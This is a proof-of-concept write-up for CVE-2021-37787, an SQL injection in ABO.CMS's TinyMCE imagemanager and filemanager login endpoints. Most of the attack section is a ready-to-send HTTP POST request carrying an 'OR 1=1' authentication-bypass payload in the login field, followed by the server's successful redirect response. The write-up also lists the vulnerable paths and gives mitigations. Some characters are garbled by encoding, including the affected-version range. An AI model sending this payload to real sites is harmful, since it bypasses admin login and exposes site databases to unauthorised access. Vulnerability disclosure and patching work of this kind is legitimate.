CVE-2021-37787 PoC — ABO.CMS 安全漏洞

Description

CVE-2021-37787

介绍

��# CVE-2021-37787: SQL Injection in ABOCMS via TinyMCE Module



## Vulnerability Details



- **CVE ID**: CVE-2021-37787

- **Product**: ABOCMS

- **Affected Version(s)**: 5.8.x, d"5.9.3

- **Vulnerability Type**: SQL Injection

- **CVSS Score**: 9.8



### Description



A critical SQL injection vulnerability exists in ABOCMS within the TinyMCE module. The vulnerability arises due to insufficient input sanitization in the TinyMCE module's interaction with the database, allowing an attacker to inject malicious SQL queries. This can lead to unauthorized data access, modification, or even full compromise of the underlying database.



The vulnerable endpoint is located in the TinyMCE module's processing of user-supplied input. An attacker can exploit this flaw to execute arbitrary SQL commands.



### Impact



- Aunthentication bypass.

- Extraction of sensitive data.

- Modification or deletion of database records.

- Potential remote code execution, depending on the database configuration.



## Proof of Concept (PoC)



## POST Request



```

POST /js/admin/tiny_mce/plugins/imagemanager/login_session_auth.php HTTP/1.1

Host: <yourdomain.name>

Content-Type: application/x-www-form-urlencoded



return_url=%2Fjs%2Fadmin%2Ftiny_mce%2Fplugins%2Fimagemanager%2Findex.php%3Ftype%3Dim%26page%3Dindex.html&login=1%27+OR+%271%27%3D1+%23&password=1&submit_button=Login

```



## Response



```

HTTP/1.1 302 Found

Server: nginx-reuseport/1.21.1

Date: <date>

Content-Type: text/html; charset=utf-8

Content-Length: 0

Connection: keep-alive

Keep-Alive: timeout=30

X-Powered-By: PHP/5.6.40

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

A-Powered-By: ABO.CMS 5.9.3 (fe01ce2a7fbac8fafaed7c982a04e229)

location: /js/admin/tiny_mce/plugins/imagemanager/index.php?type=im&page=index.html

```



### Vulnerable Endpoint



The vulnerability can be triggered via the following endpoint:



/js/admin/tiny_mce/plugins/imagemanager/login_session_auth.php

/js/admin/tiny_mce/plugins/filemanager/login_session_auth.php



## Mitigation



- **For Users**:

  - Upgrade to the latest version of ABOCMS.

  - Disable the TinyMCE module if it s not essential.



- **For Developers**:

  - Use prepared statements or parameterized queries to interact with the database.

  - Update the TinyMCE module to the latest secure version.

  - Implement proper input validation to filter out malicious payloads.



## Disclaimer



This PoC is provided for educational and security research purposes only. Do not use this code to harm systems or networks without explicit permission from the owner. The author is not responsible for any misuse or damage caused by this PoC.

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